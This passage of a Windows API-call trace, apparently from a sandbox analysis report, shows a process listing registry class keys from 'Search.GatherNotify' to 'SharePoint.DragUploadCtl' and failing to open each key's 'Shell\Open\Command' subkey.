[0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcda, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherNotify") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherNotify\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcdb, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherNotify.1") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherNotify.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcdc, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherNotifyInline") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherNotifyInline\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcdd, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherNotifyInline.1") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherNotifyInline.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcde, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherTrx") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherTrx\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcdf, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherTrx.1") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherTrx.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce0, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.Indexer") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.Indexer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce1, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.Indexer.1") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.Indexer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce2, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.JetPropStore") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.JetPropStore\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce3, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.JetPropStore.1") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.JetPropStore.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.714] SetLastError (dwErrCode=0x2) [0101.714] RegCloseKey (hKey=0x0) returned 0x6 [0101.714] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce4, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.LanguageResource") returned 0x0 [0101.714] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.LanguageResource\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce5, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.LanguageResource.1") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.LanguageResource.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce6, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.LoadLangRes") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.LoadLangRes\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce7, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.LoadLangRes.1") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.LoadLangRes.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce8, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.MAPI2Handler") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.MAPI2Handler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce9, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.MAPI2Handler.1") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.MAPI2Handler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcea, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.MapPI") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.MapPI\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.715] SetLastError (dwErrCode=0x2) [0101.715] RegCloseKey (hKey=0x0) returned 0x6 [0101.715] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xceb, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.MapPI.1") returned 0x0 [0101.715] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.MapPI.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcec, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.MediaCenterHandler") returned 0x0 [0101.716] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.MediaCenterHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xced, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.MediaCenterHandler.1") returned 0x0 [0101.716] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.MediaCenterHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcee, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.NlCiIndex") returned 0x0 [0101.716] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.NlCiIndex\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcef, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.NlCiIndex.1") returned 0x0 [0101.716] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.NlCiIndex.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf0, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.NullWB") returned 0x0 [0101.716] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.NullWB\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf1, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.NullWB.1") returned 0x0 [0101.716] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.NullWB.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.716] SetLastError (dwErrCode=0x2) [0101.716] RegCloseKey (hKey=0x0) returned 0x6 [0101.716] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf2, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.OneIndexHandler") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.OneIndexHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf3, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.OneIndexHandler.2") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.OneIndexHandler.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf4, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.OutlookToolbar") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.OutlookToolbar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf5, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.OutlookToolbar.1") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.OutlookToolbar.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf6, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.ShellFolder") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.ShellFolder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf7, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.ShellFolder.1") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.ShellFolder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf8, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.ShellFolderr.1") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.ShellFolderr.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.717] SetLastError (dwErrCode=0x2) [0101.717] RegCloseKey (hKey=0x0) returned 0x6 [0101.717] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf9, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.StickyNotesHandler") returned 0x0 [0101.717] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.StickyNotesHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.718] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcfa, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.StickyNotesHandler.1") returned 0x0 [0101.718] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.StickyNotesHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.718] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcfb, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.TripoliIndexer") returned 0x0 [0101.718] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.TripoliIndexer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.718] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcfc, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.TripoliIndexer.1") returned 0x0 [0101.718] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.TripoliIndexer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.718] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcfd, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.XmlContentFilter") returned 0x0 [0101.718] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.XmlContentFilter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.718] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcfe, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.XmlContentFilter.1") returned 0x0 [0101.718] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.XmlContentFilter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.718] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcff, lpName=0x2eef50, cchName=0x104 | out: lpName="SearchConnectorFolder") returned 0x0 [0101.718] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SearchConnectorFolder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.718] SetLastError (dwErrCode=0x2) [0101.718] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd00, lpName=0x2eef50, cchName=0x104 | out: lpName="SearchFolder") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SearchFolder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.719] SetLastError (dwErrCode=0x2) [0101.719] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd01, lpName=0x2eef50, cchName=0x104 | out: lpName="SecurityDescriptor") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SecurityDescriptor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.719] SetLastError (dwErrCode=0x2) [0101.719] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd02, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.Sensor") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.Sensor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.719] SetLastError (dwErrCode=0x2) [0101.719] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd03, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.Sensor.1") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.Sensor.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.719] SetLastError (dwErrCode=0x2) [0101.719] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd04, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.SensorCollection") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.SensorCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.719] SetLastError (dwErrCode=0x2) [0101.719] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd05, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.SensorCollection.1") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.SensorCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.719] SetLastError (dwErrCode=0x2) [0101.719] RegCloseKey (hKey=0x0) returned 0x6 [0101.719] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd06, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.SensorDataReport") returned 0x0 [0101.719] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.SensorDataReport\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd07, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.SensorDataReport.1") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.SensorDataReport.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd08, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.SensorManager") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.SensorManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd09, lpName=0x2eef50, cchName=0x104 | out: lpName="SensorsApi.SensorManager.1") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SensorsApi.SensorManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0a, lpName=0x2eef50, cchName=0x104 | out: lpName="service") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="service\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0b, lpName=0x2eef50, cchName=0x104 | out: lpName="service4") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="service4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0c, lpName=0x2eef50, cchName=0x104 | out: lpName="ShapeCollector.ShapeCollector") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShapeCollector.ShapeCollector\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.720] SetLastError (dwErrCode=0x2) [0101.720] RegCloseKey (hKey=0x0) returned 0x6 [0101.720] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0d, lpName=0x2eef50, cchName=0x104 | out: lpName="ShapeCollector.ShapeCollector.1") returned 0x0 [0101.720] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShapeCollector.ShapeCollector.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0e, lpName=0x2eef50, cchName=0x104 | out: lpName="ShapewareVISIO10") returned 0x0 [0101.721] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShapewareVISIO10\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0f, lpName=0x2eef50, cchName=0x104 | out: lpName="ShapewareVISIO20") returned 0x0 [0101.721] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShapewareVISIO20\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd10, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.ClipboardCtl") returned 0x0 [0101.721] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.ClipboardCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd11, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.ClipboardCtl.1") returned 0x0 [0101.721] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.ClipboardCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd12, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.DragDownloadCtl") returned 0x0 [0101.721] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.DragDownloadCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd13, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.DragDownloadCtl.1") returned 0x0 [0101.721] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.DragDownloadCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.721] SetLastError (dwErrCode=0x2) [0101.721] RegCloseKey (hKey=0x0) returned 0x6 [0101.721] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd14, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.DragUploadCtl") returned 0x0 [0101.722] RegOpenKeyExW (in: 